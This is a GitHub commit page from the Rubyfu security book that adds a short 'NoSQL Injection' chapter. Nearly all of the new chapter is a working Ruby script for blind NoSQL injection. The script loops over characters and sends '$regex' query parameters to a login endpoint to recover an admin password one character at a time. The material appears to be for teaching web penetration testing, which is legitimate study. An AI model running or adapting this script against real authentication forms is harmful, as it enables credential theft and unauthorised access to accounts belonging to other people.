Skip to content

Commit fbd4b22

Browse files
authored
Merge pull request #70 from rubyfu/noraj/nosql
Add NoSQL injection
2 parents 0b2ed73 + 45b2c4a commit fbd4b22

File tree

2 files changed

+35
-0
lines changed

2 files changed

+35
-0
lines changed

SUMMARY.md

+1
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,7 @@
4040
* [AMQP](module-0x3-or-network-kung-fu/amqp.md)
4141
* [Module 0x4 \| Web Kung Fu](module-0x4-or-web-kung-fu/README.md)
4242
* [SQL Injection Scanner](module-0x4-or-web-kung-fu/sql-injection-scanner.md)
43+
* [NoSQL Injection](module-0x4-or-web-kung-fu/nosql-injection.md)
4344
* [Databases](module-0x4-or-web-kung-fu/databases.md)
4445
* [Extending Burp Suite](module-0x4-or-web-kung-fu/extending-burp-suite.md)
4546
* [Browser Manipulation](module-0x4-or-web-kung-fu/browser-manipulation.md)
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
# NoSQL injection
2+
3+
## Blind NoSQL
4+
5+
Exploit a vulnerable authentication form to find a user's password exploit regexp bruteforce.
6+
7+
### GET
8+
9+
```ruby
10+
require 'httpx'
11+
12+
username = 'admin'
13+
password = ''
14+
url = 'http://example.org/login'
15+
# CHARSET = (?!..?~).to_a # all ASCII printable characters
16+
CHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-'
17+
GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$']
18+
session = HTTPX.plugin(:persistent)
19+
20+
while true
21+
CHARSET.each do |c|
22+
unless GET_EXCLUDE.include?(c)
23+
payload = "?username=#{username}&password[$regex]=^#{password + c}"
24+
res = session.get(url + payload)
25+
if res.body.to_s.match?('Yeah')
26+
puts "Found one more char : #{password + c}"
27+
password += c
28+
end
29+
end
30+
end
31+
end
32+
```
33+
34+
Ref. [PATT](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection#get)

0 commit comments

Comments
 (0)